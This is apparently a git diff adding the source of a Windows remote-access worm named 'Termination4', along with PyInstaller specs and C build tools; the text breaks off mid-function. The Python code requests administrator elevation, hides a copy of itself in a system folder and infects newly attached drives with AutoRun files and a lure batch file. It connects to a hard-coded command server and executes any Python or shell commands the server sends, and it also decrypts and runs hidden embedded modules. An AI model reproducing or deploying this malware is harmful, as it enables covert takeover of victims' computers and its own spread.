-*- + + +a = Analysis( + ['InvisibleRun.py'], + pathex=[], + binaries=[], + datas=[], + hiddenimports=[], + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[], + noarchive=False, + optimize=0, +) +pyz = PYZ(a.pure) + +exe = EXE( + pyz, + a.scripts, + a.binaries, + a.datas, + [], + name='InvisibleRun', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, +) diff --git a/Netio.py b/Netio.py new file mode 100644 index 0000000..b80550f --- /dev/null +++ b/Netio.py @@ -0,0 +1,64 @@ +class NetworkProcessings(App): + def __init__(self, url): + self.headers = {'User-Agent':'Termination/4.0 (Termination4)'} + self.mac = uuid.uuid1().hex[-12:].upper() + self.url=url + self.sio, self.j=self.Try_To_System(self.url+"/host.json") + self.Polling() + def Polling(self): + self.sio.emit((f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["Command"]}"), {"PID": 1, "MAC": self.mac, "Name": platform.node()}) + @self.sio.on(f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["CommandSend"]}") + def CommandSend(msg): + print(msg) + def send(self, route, sth): + self.sio.emit(route, sth) + def Post(self, url, data) -> str: + response = requests.post(url,data=data,headers=self.headers) + return response + def Get(self, url) -> str: + response = requests.get(url,headers=self.headers) + return response + def Wait_System(self, url, sleep=30): + while True: + c=self.Wait_Web(url) + print("WSC: ", c) + try: + c2=self.Get(c["Host"]+c["NetWork"]["Dir"]+c["NetWork"]["Test"]) + except Exception as e: + print("WSE", e) + else: + if c2.status_code == 200: + if c2.text == "OK": + return c + else: + print("WS: C NOT OK C:", c2.text) + time.sleep(sleep) + def Wait_Web(self, url, sleep=30): + while True: + try: + c = self.Get(url) + print("WWC: ", c) + except Exception as e: + print("WWE", e) + else: + if c.status_code == 200: + try: + _=json.loads(c.text) + if "CanConnect" in _ and _["CanConnect"] == True and "Host" in _: + return _ + else: + print("WW: if e", _) + except: + print("WWE: JSON") + time.sleep(sleep) + def Try_To_System(self, url, sleep=30): + while True: + c=self.Wait_System(url, sleep) + try: + self.sio=socketio.Client() + self.sio.connect(c["Host"]) + except: + pass + else: + return self.sio, c + time.sleep(sleep) \ No newline at end of file diff --git a/SCRIPT/1.c b/SCRIPT/1.c new file mode 100644 index 0000000..c5bbb9e --- /dev/null +++ b/SCRIPT/1.c @@ -0,0 +1,26 @@ +#include + +//writerul [RULFILE] saiblibc.lib golibc.lib [LABEL-_SAIBStartup] + +int main(int argc, char *argv[]) { + FILE *file = fopen(argv[1], "w"); + if (file == NULL) { + printf("Error opening file %s\n", argv[1]); + return 1; + } + + fprintf(file, "format:\n"); + fprintf(file, " code(align:1, logic:0x24, file:0x24);\n"); + fprintf(file, " data(align:4, logic:stack_end, file:code_end);\n"); + fprintf(file, "file:\n"); + fprintf(file, " %s;\n", argv[2]); + fprintf(file, " %s;\n", argv[3]); + fprintf(file, "label:\n"); + fprintf(file, " %s;\n", argv[4]); + + printf("Write Rul Finish\n"); + + fclose(file); + + return 0; +} \ No newline at end of file diff --git a/SCRIPT/1.ca b/SCRIPT/1.ca new file mode 100644 index 0000000..eb6fa13 --- /dev/null +++ b/SCRIPT/1.ca @@ -0,0 +1,26 @@ +#include + +//writerul [RULFILE] saiblibc.lib golibc.lib [LABEL-_SAIBStartup] + +int main0(int argc, char *argv[]) { + FILE *file = fopen(argv[1], "w"); + if (file == NULL) { + printf("Error opening file %s\n", argv[1]); + return 1; + } + + fprintf(file, "format:\n"); + fprintf(file, " code(align:1, logic:0x24, file:0x24);\n"); + fprintf(file, " data(align:4, logic:stack_end, file:code_end);\n"); + fprintf(file, "file:\n"); + fprintf(file, " %s;\n", argv[2]); + fprintf(file, " %s;\n", argv[3]); + fprintf(file, "label:\n"); + fprintf(file, " %s;\n", argv[4]); + + printf("Write Rul Finish\n"); + + fclose(file); + + return 0; +} \ No newline at end of file diff --git a/SCRIPT/1.gas b/SCRIPT/1.gas new file mode 100644 index 0000000..4441ff4 --- /dev/null +++ b/SCRIPT/1.gas @@ -0,0 +1 @@ + .file "1.ca" diff --git a/SCRIPT/1.map b/SCRIPT/1.map new file mode 100644 index 0000000..94fa442 --- /dev/null +++ b/SCRIPT/1.map @@ -0,0 +1,192 @@ +Archive member included because of file (symbol) + +.\w32clibc.lib(startup.obj) (mainCRTStartup) +.\w32clibc.lib(malloc.obj) .\w32clibc.lib(startup.obj) (malloc) +.\w32clibc.lib(stdin.obj) .\w32clibc.lib(startup.obj) (__stdin) +.\libmingw.lib(ds00207.o) .\w32clibc.lib(startup.obj) (GetCommandLineA@0) +.\libmingw.lib(ds00342.o) .\w32clibc.lib(startup.obj) (GetStdHandle@4) +.\libmingw.lib(ds00130.o) .\w32clibc.lib(startup.obj) (ExitProcess@4) +.\libmingw.lib(ds00323.o) .\w32clibc.lib(malloc.obj) (GetProcessHeap@0) +.\libmingw.lib(ds00415.o) .\w32clibc.lib(malloc.obj) (HeapAlloc@12) +.\libmingw.lib(dh.o) .\libmingw.lib(ds00207.o) (_head_libkernel32_a) +.\libmingw.lib(dt.o) .\libmingw.lib(dh.o) (_libkernel32_a_iname) + +Memory Configuration + +Name Origin Length Attributes +*default* 0x00000000 0xffffffff + +Linker script and memory map + + 0x00400000 __image_base__ = 0x400000 + 0x00000000 __dll__ = 0x0 + 0x00001000 __section_alignment__ = 0x1000 + 0x00000200 __file_alignment__ = 0x200 + 0x00000004 __major_os_version__ = 0x4 + 0x00000000 __minor_os_version__ = 0x0 + 0x00000001 __major_image_version__ = 0x1 + 0x00000000 __minor_image_version__ = 0x0 + 0x00000004 __major_subsystem_version__ = 0x4 + 0x00000000 __minor_subsystem_version__ = 0x0 + 0x00000003 __subsystem__ = 0x3 + 0x01000000 __size_of_stack_reserve__ = 0x1000000 + 0x00001000 __size_of_stack_commit__ = 0x1000 + 0x00100000 __size_of_heap_reserve__ = 0x100000 + 0x00001000 __size_of_heap_commit__ = 0x1000 + 0x00000000 __loader_flags__ = 0x0 +LOAD 1.obj +LOAD .\w32clibc.lib +LOAD .\golibc.lib +LOAD .\libmingw.lib + +.text 0x00401000 0x200 + *(.init) + *(.text) + .text 0x00401000 0xf3 .\w32clibc.lib(startup.obj) + 0x004010b1 mainCRTStartup + .text 0x004010f3 0x15 .\w32clibc.lib(malloc.obj) + 0x004010f3 malloc + *fill* 0x00401108 0x8 00 + .text 0x00401110 0x8 .\libmingw.lib(ds00207.o) + 0x00401110 GetCommandLineA@0 + *fill* 0x00401118 0x8 00 + .text 0x00401120 0x8 .\libmingw.lib(ds00342.o) + 0x00401120 GetStdHandle@4 + *fill* 0x00401128 0x8 00 + .text 0x00401130 0x8 .\libmingw.lib(ds00130.o) + 0x00401130 ExitProcess@4 + *fill* 0x00401138 0x8 00 + .text 0x00401140 0x8 .\libmingw.lib(ds00323.o) + 0x00401140 GetProcessHeap@0 + *fill* 0x00401148 0x8 00 + .text 0x00401150 0x8 .\libmingw.lib(ds00415.o) + 0x00401150 HeapAlloc@12 + *fill* 0x00401158 0x8 00 + *(SORT(.text$*)) + *(.glue_7t) + *(.glue_7) + 0x00401160 ___CTOR_LIST__ = . + 0x00401160 __CTOR_LIST__ = . + 0x00401160 0x4 LONG 0xffffffff + *(SORT(.ctors.*)) + *(.ctors) + *(.ctor) + 0x00401164 0x4 LONG 0x0 + 0x00401168 ___DTOR_LIST__ = . + 0x00401168 __DTOR_LIST__ = . + 0x00401168 0x4 LONG 0xffffffff + *(SORT(.dtors.*)) + *(.dtors) + *(.dtor) + 0x0040116c 0x4 LONG 0x0 + *(.fini) + *(.gcc_exc) + 0x00401170 etext = . + *(.gcc_except_table) + +.data 0x00402000 0x200 + 0x00402000 __data_start__ = . + *(.data) + .data 0x00402000 0x24 .\w32clibc.lib(stdin.obj) + 0x00402018 __stderr + 0x0040200c __stdout + 0x00402000 __stdin + *fill* 0x00402024 0xc 00 + *(.data2) + *(SORT(.data$*)) + 0x00402030 __data_end__ = . + *(.data_cygwin_nocopy) + +.rdata + *(.rdata) + *(SORT(.rdata$*)) + *(.eh_frame) + +.pdata + *(.pdata) + +.bss 0x00403000 0x0 + 0x00403000 __bss_start__ = . + *(.bss) + *(COMMON) + 0x00403000 __bss_end__ = . + +.edata + *(.edata) + +/DISCARD/ + *(.debug$S) + *(.debug$T) + *(.debug$F) + *(.drectve) + +.idata 0x00403000 0x200 + SORT(*)(.idata$2) + .idata$2 0x00403000 0x14 .\libmingw.lib(dh.o) + 0x00403000 _head_libkernel32_a + SORT(*)(.idata$3) + 0x00403014 0x4 LONG 0x0 + 0x00403018 0x4 LONG 0x0 + 0x0040301c 0x4 LONG 0x0 + 0x00403020 0x4 LONG 0x0 + 0x00403024 0x4 LONG 0x0 + SORT(*)(.idata$4) + .idata$4 0x00403028 0x4 .\libmingw.lib(dh.o) + .idata$4 0x0040302c 0x4 .\libmingw.lib(ds00130.o) + .idata$4 0x00403030 0x4 .\libmingw.lib(ds00207.o) + .idata$4 0x00403034 0x4 .\libmingw.lib(ds00323.o) + .idata$4 0x00403038 0x4 .\libmingw.lib(ds00342.o) + .idata$4 0x0040303c 0x4 .\libmingw.lib(ds00415.o) + .idata$4 0x00403040 0x4 .\libmingw.lib(dt.o) + SORT(*)(.idata$5) + .idata$5 0x00403044 0x4 .\libmingw.lib(dh.o) + .idata$5 0x00403048 0x4 .\libmingw.lib(ds00130.o) + 0x00403048 _imp__ExitProcess@4 + .idata$5 0x0040304c 0x4 .\libmingw.lib(ds00207.o) + 0x0040304c _imp__GetCommandLineA@0 + .idata$5 0x00403050 0x4 .\libmingw.lib(ds00323.o) + 0x00403050 _imp__GetProcessHeap@0 + .idata$5 0x00403054 0x4 .\libmingw.lib(ds00342.o) + 0x00403054 _imp__GetStdHandle@4 + .idata$5 0x00403058 0x4 .\libmingw.lib(ds00415.o) + 0x00403058 _imp__HeapAlloc@12 + .idata$5 0x0040305c 0x4 .\libmingw.lib(dt.o) + SORT(*)(.idata$6) + .idata$6 0x00403060 0xe .\libmingw.lib(ds00130.o) + *fill* 0x0040306e 0x2 00 + .idata$6 0x00403070 0x12 .\libmingw.lib(ds00207.o) + *fill* 0x00403082 0x2 00 + .idata$6 0x00403084 0x12 .\libmingw.lib(ds00323.o) + *fill* 0x00403096 0x2 00 + .idata$6 0x00403098 0x10 .\libmingw.lib(ds00342.o) + .idata$6 0x004030a8 0xc .\libmingw.lib(ds00415.o) + SORT(*)(.idata$7) + .idata$7 0x004030b4 0x4 .\libmingw.lib(ds00130.o) + .idata$7 0x004030b8 0x4 .\libmingw.lib(ds00207.o) + .idata$7 0x004030bc 0x4 .\libmingw.lib(ds00323.o) + .idata$7 0x004030c0 0x4 .\libmingw.lib(ds00342.o) + .idata$7 0x004030c4 0x4 .\libmingw.lib(ds00415.o) + .idata$7 0x004030c8 0x10 .\libmingw.lib(dt.o) + 0x004030c8 _libkernel32_a_iname + +.CRT + *(SORT(.CRT$*)) + +.endjunk 0x00404000 0x0 + 0x00404000 end = . + 0x00404000 _end = . + 0x00404000 __end__ = . + +.rsrc + *(.rsrc) + *(SORT(.rsrc$*)) + +.reloc + *(.reloc) + +.stab + *(.stab) + +.stabstr + *(.stabstr) +OUTPUT(1.exe pei-i386) diff --git a/SCRIPT/1.nas b/SCRIPT/1.nas new file mode 100644 index 0000000..de6c24a --- /dev/null +++ b/SCRIPT/1.nas @@ -0,0 +1,6 @@ +[FORMAT "WCOFF"] +[INSTRSET "i486p"] +[OPTIMIZE 1] +[OPTION 1] +[BITS 32] +[FILE "1.ca"] diff --git a/SCRIPT/1.obj b/SCRIPT/1.obj new file mode 100644 index 0000000..f8e5ba9 Binary files /dev/null and b/SCRIPT/1.obj differ diff --git a/SCRIPT/MAKE.BAT b/SCRIPT/MAKE.BAT new file mode 100644 index 0000000..213b2ee --- /dev/null +++ b/SCRIPT/MAKE.BAT @@ -0,0 +1,5 @@ +sjisconv.exe -s 1.c 1.ca +cc1.exe -I.\ -Dmain=main0 -Os -Wall -quiet -o 1.gas 1.ca +gas2nask.exe -a 1.gas 1.nas +nask.exe 1.nas 1.obj +ld.exe -s -Bdynamic --stack 0x1000000 -o 1.exe -Map 1.map 1.obj .\w32clibc.lib .\golibc.lib .\libmingw.lib \ No newline at end of file diff --git a/SCRIPT/cc1.exe b/SCRIPT/cc1.exe new file mode 100644 index 0000000..b6b55f7 Binary files /dev/null and b/SCRIPT/cc1.exe differ diff --git a/SCRIPT/gas2nask.exe b/SCRIPT/gas2nask.exe new file mode 100644 index 0000000..937e91a Binary files /dev/null and b/SCRIPT/gas2nask.exe differ diff --git a/SCRIPT/golibc.lib b/SCRIPT/golibc.lib new file mode 100644 index 0000000..f2a29f3 Binary files /dev/null and b/SCRIPT/golibc.lib differ diff --git a/SCRIPT/ld.exe b/SCRIPT/ld.exe new file mode 100644 index 0000000..cf04958 Binary files /dev/null and b/SCRIPT/ld.exe differ diff --git a/SCRIPT/libmingw.lib b/SCRIPT/libmingw.lib new file mode 100644 index 0000000..b3d2ae7 Binary files /dev/null and b/SCRIPT/libmingw.lib differ diff --git a/SCRIPT/makefile b/SCRIPT/makefile new file mode 100644 index 0000000..e69de29 diff --git a/SCRIPT/nask.exe b/SCRIPT/nask.exe new file mode 100644 index 0000000..3a319b1 Binary files /dev/null and b/SCRIPT/nask.exe differ diff --git a/SCRIPT/sjisconv.exe b/SCRIPT/sjisconv.exe new file mode 100644 index 0000000..bc3fb2d Binary files /dev/null and b/SCRIPT/sjisconv.exe differ diff --git a/SCRIPT/w32clibc.lib b/SCRIPT/w32clibc.lib new file mode 100644 index 0000000..fa24f53 Binary files /dev/null and b/SCRIPT/w32clibc.lib differ diff --git a/TEST.spec b/TEST.spec new file mode 100644 index 0000000..92a461a --- /dev/null +++ b/TEST.spec @@ -0,0 +1,38 @@ +# -*- mode: python ; coding: utf-8 -*- + + +a = Analysis( + ['TEST.PY'], + pathex=[], + binaries=[], + datas=[], + hiddenimports=[], + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[], + noarchive=False, + optimize=0, +) +pyz = PYZ(a.pure) + +exe = EXE( + pyz, + a.scripts, + a.binaries, + a.datas, + [], + name='TEST', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, +) diff --git a/Termination4.py b/Termination4.py new file mode 100644 index 0000000..cb0a655 --- /dev/null +++ b/Termination4.py @@ -0,0 +1,607 @@ +class sys(): + from sys import argv, platform, executable, exit as exit +class os(): + from os import path, getenv, mkdir, getlogin, listdir, _exit, getpid, getppid, remove, popen, chmod +class traceback(): + from traceback import format_exc +class ctypes(): + from ctypes import POINTER, c_ulong, c_char_p, c_int, c_void_p, windll, sizeof, Structure, byref, WinError + class wintypes(): + from ctypes.wintypes import HANDLE, BOOL, DWORD, HWND, HINSTANCE, HKEY +class winreg(): + from winreg import OpenKey, HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER, HKEY_USERS, SetValueEx, REG_SZ, CloseKey, DeleteKey, KEY_SET_VALUE, KEY_ALL_ACCESS,KEY_WRITE,KEY_CREATE_SUB_KEY +class win32api(): + from win32api import SetFileAttributes +class requests(): + from requests import post, get +class subprocess(): + from subprocess import list2cmdline, Popen, PIPE, STDOUT +class time(): + from time import localtime, strftime, sleep +class socket(): + from socket import gethostname +class threading(): + from threading import Thread +class keyboard(): + from keyboard import wait +class hashlib(): + from hashlib import md5 +class uuid(): + from uuid import UUID, uuid1, uuid3, NAMESPACE_DNS +class random(): + from random import randint +class shutil(): + from shutil import copy +class re(): + from re import match, compile +class psutil(): + from psutil import pid_exists, Process, disk_partitions +def GUUID():return str(uuid.uuid3(uuid.NAMESPACE_DNS, str(random.randint(0, 10000000000000000000)))) +class socketio(): + from socketio import Client +class atexit(): + from atexit import register +class json(): + from json import loads, dumps +class pickle(): + from pickle import dumps, loads +class base64(): + from base64 import b64encode, b64decode +class copy(): + from copy import deepcopy, copy +class platform(): + from platform import node +class tkinter(): + from tkinter import Tk + class messagebox(): + from tkinter.messagebox import showinfo, showerror, showwarning + + +class ShellExecuteInfo(ctypes.Structure): + _fields_ = [ + ('cbSize', ctypes.wintypes.DWORD), + ('fMask', ctypes.c_ulong), + ('hwnd', ctypes.wintypes.HWND), + ('lpVerb', ctypes.c_char_p), + ('lpFile', ctypes.c_char_p), + ('lpParameters', ctypes.c_char_p), + ('lpDirectory', ctypes.c_char_p), + ('nShow', ctypes.c_int), + ('hInstApp', ctypes.wintypes.HINSTANCE), + ('lpIDList', ctypes.c_void_p), + ('lpClass', ctypes.c_char_p), + ('hKeyClass', ctypes.wintypes.HKEY), + ('dwHotKey', ctypes.wintypes.DWORD), + ('hIcon', ctypes.wintypes.HANDLE), + ('hProcess', ctypes.wintypes.HANDLE)] + def __init__(self, **kw): + super(ShellExecuteInfo, self).__init__() + self.cbSize = ctypes.sizeof(self) + for field_name, field_value in kw.items(): + setattr(self, field_name, field_value) +ShellExecuteEx = ctypes.windll.shell32.ShellExecuteExA +ShellExecuteEx.argtypes = (ctypes.POINTER(ShellExecuteInfo), ) +ShellExecuteEx.restype = ctypes.wintypes.BOOL +WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject +WaitForSingleObject.argtypes = (ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD) +WaitForSingleObject.restype = ctypes.wintypes.DWORD +CloseHandle = ctypes.windll.kernel32.CloseHandle +CloseHandle.argtypes = (ctypes.wintypes.HANDLE, ) +CloseHandle.restype = ctypes.wintypes.BOOL +def elevate(show_console=True, graphical=True, argv=sys.argv): + if ctypes.windll.shell32.IsUserAnAdmin(): + return + params = ShellExecuteInfo( + fMask=32832, + hwnd=None, + lpVerb=b'runas', + lpFile=sys.executable.encode('UTF-8'), + lpParameters=subprocess.list2cmdline(argv).encode('UTF-8'), + nShow=int(show_console)) + if not ShellExecuteEx(ctypes.byref(params)): + raise ctypes.WinError() + handle = params.hProcess + ret = ctypes.wintypes.DWORD() + WaitForSingleObject(handle, -1) + if ctypes.windll.kernel32.GetExitCodeProcess(handle, ctypes.byref(ret)) == 0: + raise ctypes.WinError() + CloseHandle(handle) + sys.exit(ret.value) + + +def asyncs(f): + def wrapper(*args, **kwargs): + thr = threading.Thread(target = f, args = args, kwargs = kwargs) + thr.start() + return wrapper + +class FIO(): + def openw(self, file, write, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "w", encoding=encoding) as f: + f.write(write) + elif mode == 2: + with open(file, "wb") as f: + f.write(write) + def opena(self, file, write, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "a", encoding=encoding) as f: + f.write(write) + elif mode == 2: + with open(file, "ab") as f: + f.write(write) + def openr(self, file, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "r", encoding=encoding) as f: + read = f.read() + elif mode == 2: + with open(file, "rb") as f: + read = f.read() + return read +FIO=FIO() + + + +class LockMe(): + def __init__(self, id, exe): + self.EXEMD5=self.GetFileMD5(exe) + self.exe=exe + self.id=id + self.temp=os.getenv("temp") + self.SetLockFile() + def SetLockFile(self): + self.LockName=f"Lock_{self.id}_[{os.getpid()}].lock" + self.LockReName=f"Lock_{self.id}_"+r"\[(\d+)\].lock" + self.LockNameReF=r'\[(\d+)\]' + self.LockFile=os.path.join(self.temp, self.LockName) + self.f=[] + def SearchLockFile(self): + res=self.SearchList(os.listdir(self.temp), self.LockReName) + return res + def SearchList(self, lst, mat): + result = [] + for s in lst: + if (_ := re.match(mat, s)): + result.append(_.group(1)) + return result + def WriteLockFile(self, file: str): + f=open(file, "w", encoding="UTF-8") + f.write(str(os.getpid())) + self.f.append(f) + def lock(self): + #for i in os.listdir(self.temp): + # if os.path.isfile(os.path.join(self.temp, i)): + # try: + # os.remove(os.path.join(self.temp, i)) + # except: + # pass + E=0 + SLF=self.SearchLockFile() + print("SLF", SLF) + for i in SLF: + print(i) + if psutil.pid_exists(int(i)): + print("PSUTIL OVER") + os._exit(0) + else: + try: + os.remove(os.path.join(self.temp, self.LockReName.replace(self.LockNameReF, f"[{i}]"))) + except: + print("DEL E:", os.path.join(self.temp, self.LockReName.replace(self.LockNameReF, f"[{i}]"))) + try: + self.WriteLockFile(self.LockFile) + except: + try: + self.LockFile=self.LockFile.replace(self.LockNameReF, GUUID()) + self.WriteLockFile(self.LockFile.replace(self.LockNameReF, GUUID())) + except: + print("LOCK ERROR, BUT WE DON'T KILL SELF, HAHAHA.") + E=1 + if E == 0: + atexit.register(lambda: self.AtExitRemoveFile(self.LockFile)) + def AtExitRemoveFile(self, File): + try: + for i in self.f: + i.close() + os.remove(File) + except: + print("666, FUCK, del e:", traceback.format_exc()) + def GetFileMD5(self, file_name): + m = hashlib.md5() + with open(file_name,'rb') as fobj: + while True: + data = fobj.read(4096) + if not data: + break + m.update(data) + return m.hexdigest() + +class Popen(): + def __init__(self, cmd_line, stdout=subprocess.PIPE, stderr=subprocess.PIPE): + self.process=subprocess.Popen(cmd_line, stdout=stdout, stderr=stderr) + +class GodKeys(): + def __init__(self): + self.KEY="""'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-+=""" + def _SecretKeyEncryption(self, s: str): + return self._e(s) + def _SecretKeyDecryption(self, s: bytes): + return self._d(s) + def encrypt(self, s: str): + return self._SecretKeyEncryption(self.Bytes2Base64(pickle.dumps(s))) + def decrypt(self, s: bytes): + return pickle.loads(self.Base642Bytes(self._SecretKeyDecryption(s))) + def Bytes2Base64(self, s): + return base64.b64encode(s) + def Base642Bytes(self, b): + return base64.b64decode(b) + def _RH(self, hex_str): + return ''.join([hex_str[(i + 3) % len(hex_str)] for i in range(len(hex_str))]) + def _SH(self, rearranged_hex): + return ''.join([rearranged_hex[(i - 3) % len(rearranged_hex)] for i in range(len(rearranged_hex))]) + def _e(self, bytes_data): + hex_data = bytes_data.hex() + reversed_hex = self._RH(hex_data[::-1])[::-1] + return bytes.fromhex(reversed_hex) + def _d(self, encrypted_bytes): + hex_data = encrypted_bytes.hex() + reversed_hex = self._SH(hex_data[::-1])[::-1] + return bytes.fromhex(reversed_hex) + +class AppRun(): + def __init__(self, Termination, NetworkProcess): + self.Tasks={} + self.Termination=Termination + self.send=NetworkProcess.send + @asyncs + def _get(self, s): + if "PID" in s: + if s["PID"] == 0: + if s["USE"].lower() == "python": + ENV=globals() + exec(s["Code"],ENV) + if s["USE"].lower() == "cmd": + p = subprocess.Popen("cmd.exe /c "+s["Code"], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + result = [] + while p.poll() is None: + line = p.stdout.readline().strip() + if line: + try: + line=line.decode('UTF-8') + except UnicodeDecodeError: + line=line.decode('GB18030') + result.append(line) + self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "RETURN": line}) + if p.returncode == 0: + self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "TYPE": "SUCESS"}) + else: + self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "TYPE": "FAILED"}) + else: + pass + else: + pass + +class NetworkProcessings(): + def __init__(self, Termination): + self.headers = {'User-Agent':'Termination/4.0 (Termination4)'} + self.mac = uuid.uuid1().hex[-12:].upper() + self.Termination=Termination + self.url=self.Termination.url + self.sio, self.j=self.Try_To_System(self.url+"/host.json") + self.AppRun=AppRun(self.Termination, self) + def Polling(self): + self.Connect() + @self.sio.on(f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["CommandSend"]}") + def CommandSend(msg): + print(msg) + if "MAC" in msg and (msg["MAC"] == self.mac or msg["MAC"] == "ALL"): + self.AppRun._get(msg) + @self.sio.event + def disconnect(): + self.sio, self.j=self.Try_To_System(self.url+"/host.json") + self.Connect() + def Connect(self): + print("Connect") + self.send((f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["Command"]}"), {"PID": 1, "MAC": self.mac, "Name": platform.node()}) + def send(self, route, sth): + self.sio.emit(route, sth) + def Post(self, url, data) -> str: + response = requests.post(url,data=data,headers=self.headers) + return response + def Get(self, url) -> str: + response = requests.get(url,headers=self.headers) + return response + def Wait_System(self, url, sleep=1): + while True: + c=self.Wait_Web(url) + print("WSC: ", c) + try: + c2=self.Get(c["Host"]+c["NetWork"]["Dir"]+c["NetWork"]["Test"]) + except Exception as e: + print("WSE", e) + else: + if c2.status_code == 200: + if c2.text == "OK": + return c + else: + print("WS: C NOT OK C:", c2.text) + time.sleep(sleep) + def Wait_Web(self, url, sleep=1): + while True: + try: + c = self.Get(url) + print("WWC: ", c) + except Exception as e: + print("WWE", e) + else: + if c.status_code == 200: + try: + _=json.loads(c.text) + if "CanConnect" in _ and _["CanConnect"] == True and "Host" in _: + return _ + else: + print("WW: if e", _) + except: + print("WWE: JSON") + time.sleep(sleep) + def Try_To_System(self, url, sleep=1): + while True: + c=self.Wait_System(url, sleep) + try: + self.sio=socketio.Client() + self.sio.connect(c["Host"]) + except: + pass + else: + return self.sio, c + time.sleep(sleep) + +class InFect(): + def __init__(self): + self.Flan=True + self.SleepTime=5 + self.Name="Termination" + self.disks=self.GetDisks() + print("InFect: disks:", self.disks) + @asyncs + def start(self): + while self.Flan: + d=list(set(self.GetDisks())-set(self.disks)) + print("InFect D: ", d) + for i in d: + self.infect(i) + self.disks=self.GetDisks() + print("InFect: disks:", self.disks) + time.sleep(5) + def infect(self, disk): + try: + print("InFect: ", disk) + if not os.path.isdir(disk): + return + WorkPath=os.path.join(disk, "."+self.Name) + if not os.path.isdir(WorkPath): + os.mkdir(WorkPath) + self.HideFile(WorkPath) + shutil.copy(sys.executable, os.path.join(WorkPath, self.Name+".exe")) + try: + os.chmod(os.path.join(WorkPath, "AuToRun.inf"), 0o666) + FIO.openw(os.path.join(WorkPath, "AuToRun.inf"), f"[AutoRun]\nopen={os.path.join(WorkPath, self.Name+".exe")}") + self.HideFile(os.path.join(WorkPath, "AuToRun.inf")) + except: + pass + try: + FIO.openw(os.path.join(WorkPath, "U盘驱动,必装!!!.bat"),rf"@echo off\n") + except: + pass + except: + print(traceback.format_exc()) + return + def stop(self): + self.Flan=False + def GetDisks(self): + d=[] + for i in psutil.disk_partitions(): + d.append(i.device) + return d + def HideFile(self, path): + win32api.SetFileAttributes(path, 6) + +class Module(): + def __init__(self): + self.Tasks={} + def Run(self): + try: + if self.IsRun_Py(): + self.file=FIO.openr("./WITH", 2) + else: + self.file=FIO.openr(self.GetExeFile(), 2) + self.BOOT=self.GetBOOT() + for i in self.BOOT["StartUp"]: + self.RunModule(i, self.BOOT["StartUp"][i]) + except: + print(traceback.format_exc()) + os._exit(0) + def RunModule(self, i, mod): + if self.IsRun_Py(): + print(666,"INPYTHON") + ENV=copy.copy(globals()) + ENV["Termination"]=self.Termination + ENV["PyTasks"]=self.Tasks + self.Tasks[i]={"Name":i,"Code":self.GodKey.decrypt(self.GetKey(i)),"ENV":ENV} + if "Run" in mod: + for r in mod["Run"]: + exec(f"{r}={r}({"".join(list(map(lambda x:f"{x}={mod["Run"][r][x]},",mod["Run"][r])))})", self.Tasks[i]["ENV"]) + else: + try: + ENV=copy.copy(globals()) + ENV["Termination"]=self.Termination + ENV["PyTasks"]=self.Tasks + self.Tasks[i]={"Name":i,"Code":self.GodKey.decrypt(self.GetKey(i)),"ENV":ENV} + exec(self.Tasks[i]["Code"], self.Tasks[i]["ENV"]) + if "Run" in mod: + for r in mod["Run"]: + exec(f"{r}={r}({"".join(list(map(lambda x:f"{x}={mod["Run"][r][x]},",mod["Run"][r])))})", self.Tasks[i]["ENV"]) + for _ in mod["Globals"]: + exec(f"{_}={self.Tasks[i]["ENV"][_]}",globals()) + except: + print(traceback.format_exc()) + def GetKey(self, key, encoding="UTF-8"): + _=self._Search(b"START"+bytes(key, encoding=encoding), b"END"+bytes(key, encoding=encoding), self.file) + if _: + _=self.GodKey.decrypt(_) + return _ + else: + return False + def GetBOOT(self): + return json.loads(self.GetKey("BOOT")) + def _Search(self, s, e, b): + m = re.compile(s+rb"(.*)"+e).search(b) + if not m: + return False + return m.group(1) + def Set(self, Termination): + self.Termination=Termination + self.IsRun_Exe, self.IsRun_Py, self.GetExeFile, self.GodKey=self.Termination.IsRun_Exe, self.Termination.IsRun_Py, self.Termination.GetExeFile, self.Termination.GodKey + + +class Termination(): + def __init__(self) -> None: + self.InIt_Admin(0) + self.InIt_Value() + self.lock.lock() + self.CopyToSystem() + self.InIt_InFect() + #self.InItAddToStartUp() + self.SetRun() + while True: + time.sleep(60) + def InIt_Value(self) -> None: + self.author=None + self.release=None + self.app_name="Termination" + self.version="4.0.0" + self.testversion="beta" + self.url="http://wytyh.space3v.work" + self.socket_url="" + self.lock_id=self.app_name + self.lock=LockMe(self.lock_id, self.GetExeFile()) + self.GodKey=GodKeys() + self.WorkPath=self.GetNeedDir() + self.PYREXE=["python.exe", "pythonw.exe"] + self.PYTRUN=["py", "pyw"] + self.EXERUN=["exe"] + def InIt_InFect(self) -> None: + self.InFect=InFect() + self.InFect.start() + @asyncs + def SetRun(self) -> None: + self.Module=Module() + self.Module.Set(self) + self.Module.Run() + self.NetWorkProcess=NetworkProcessings(self) + self.NetWorkProcess.Polling() + def InItAddToStartUp(self): + self.AddStartUp(f"{self.app_name}{self.version}", self.GetExeFile()) + def InIt_Admin(self, show_console:bool=True, graphical:bool=True, argv=sys.argv): + elevate(show_console, graphical, argv) + def CopyToSystem(self) -> None: + if not os.path.isdir(self.WorkPath): + try: + os.mkdir(self.WorkPath) + self.HideFile(self.WorkPath) + except Exception as e: + self.Try(e) + if 